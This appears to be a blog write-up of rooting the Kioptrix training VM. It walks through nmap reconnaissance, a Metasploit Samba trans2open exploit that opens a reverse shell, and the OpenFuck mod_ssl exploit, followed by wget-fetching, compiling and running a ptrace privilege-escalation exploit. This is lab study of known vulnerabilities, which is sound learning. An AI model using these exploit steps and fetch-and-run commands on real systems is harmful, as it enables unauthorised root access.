After a while I’m back with another writeup. While I wasn’t publishing writeups I wasn’t idle. In the meantime I managed to get my OSCP certificate, which I’ll desribe in a seperate post.
Today I decided to crack an old one: Kioptrix. It is known in the OSCP community for being similar to the lab machines from the PWK course.
From the VM’s description:
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
I have found two ways of rooting this machine. First one is more reliable and give root privileges in one run. Second one allowed to get a limited shell first, and then escalate privileges. It is less reliable because shell had tendencies to disconnect after a couple of minutes. Still it is worth knowing.
Let’s start with some nmap:
# nmap 192.168.0.100 -sT -sV -O -n -- snip -- PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b 32768/tcp open status 1 (RPC #100024) -- snip -- Running: Linux 2.4.X OS CPE: cpe:/o:linux:linux_kernel:2.4 OS details: Linux 2.4.9 - 2.4.18 (likely embedded) -- snip --
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
First way of rooting Kioptrix is a remote code execution in Samba. Samba is always worth checking out during a pentest. It has a long history of big one-shot vulnerabilities and commong misconfigurations that allow to gain valuable intel on the machine. This time it allows to win almost prematurely.
First I used a Metasploit module to obtain running Samba version:
msf > use auxiliary/scanner/smb/smb_version msf auxiliary(scanner/smb/smb_version) > info Name: SMB Version Detection Module: auxiliary/scanner/smb/smb_version License: Metasploit Framework License (BSD) Rank: Normal Provided by: hdm <email@example.com> Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads Description: Display version information about each system msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.0.100 RHOSTS => 192.168.0.100 msf auxiliary(scanner/smb/smb_version) > run [*] 192.168.0.100:139 - Host could not be identified: Unix (Samba 2.2.1a) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Googling Samba version 2.2.1a shows that there is a known remote buffer overflow in trans2open() function(https://www.exploit-db.com/exploits/7).
The easiest way was to use another Metasploit module:
msf exploit(linux/samba/trans2open) > options Module options (exploit/linux/samba/trans2open): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.0.100 yes The target address RPORT 139 yes The target port (TCP) Payload options (linux/x86/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CMD /bin/sh yes The command string to execute LHOST 192.168.0.101 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Samba 2.2.x - Bruteforce msf exploit(linux/samba/trans2open) > run [*] Started reverse TCP handler on 192.168.0.101:4444 [*] 192.168.0.100:139 - Trying return address 0xbffffdfc... [*] 192.168.0.100:139 - Trying return address 0xbffffcfc... [*] 192.168.0.100:139 - Trying return address 0xbffffbfc... [*] 192.168.0.100:139 - Trying return address 0xbffffafc... [*] Command shell session 9 opened (192.168.0.101:4444 -> 192.168.0.100:32780) at 2019-05-12 00:08:18 +0200 whoami root
Game over :)
Mod_ssl remote buffer overflow
Another way to break the machine is a mod_ssl vulnerability. Namp scan indicates that it runs in version 2.8.4. So it should be vulnerable do to a ‘OpenFuck V2’ attack. Proof of concept can be found on ExploitDB. On modern systems there can be a couple of problems compiling the exploit. They can be fixed by following an excellent post on Paulsec. My final version of exploit can be found here.
There are a lot of versions of running the exploit depending on the system and Apache version of attacked machine. I decided to first search the know list for Apache version obtained from nmap. There were two matches that also matched Red Hat Linux distribution
root@kali:~/Documents/kioptrix# ./OpenFuck | grep '1.3.20' -- snip -- 0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2 -- snip --
I chose second one and ran the exploit which returned me a shell:
root@kali:~/Documents/kioptrix# ./OpenFuck 0x6b 192.168.0.100 -- snip == Establishing SSL connection cipher: 0x4043808c ciphers: 0x80f81c8 Ready to send shellcode Spawning shell... bash: no job control in this shell bash-2.05$ exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304- --01:02:24-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c => `ptrace-kmod.c' Connecting to dl.packetstormsecurity.net:80... dl.packetstormsecurity.net: Host not found. gcc: ptrace-kmod.c: No such file or directory gcc: No input files rm: cannot remove `ptrace-kmod.c': No such file or directory bash: ./p: No such file or directory bash-2.05$ bash-2.05$ whoami whoami apache
As can be seen on the above listing, the exploit also tries to escalate privleges by downloading ptrace-kmod.c file. It obviously fails because of the fact that my Kioptrix instance is not connected to the internet. Fortunately it can be also done manually by hosting ptrace-kmod.c file on the attacking machine.
bash-2.05$ cd /tmp cd /tmp bash-2.05$ wget http://192.168.0.101/ptrace.c wget http://192.168.0.101/ptrace.c -- snip -- bash-2.05$ gcc ptrace.c -o ptrace gcc ptrace.c -o ptrace ptrace.c:185:27: warning: no newline at end of file bash-2.05$ chmod +x ptrace chmod +x ptrace bash-2.05$ ./ptrace ./3 [+] Attached to 1539 [+] Waiting for signal [+] Signal caught [+] Shellcode placed at 0x4001189d [+] Now wait for suid shell... whoami root
Game over #2 :)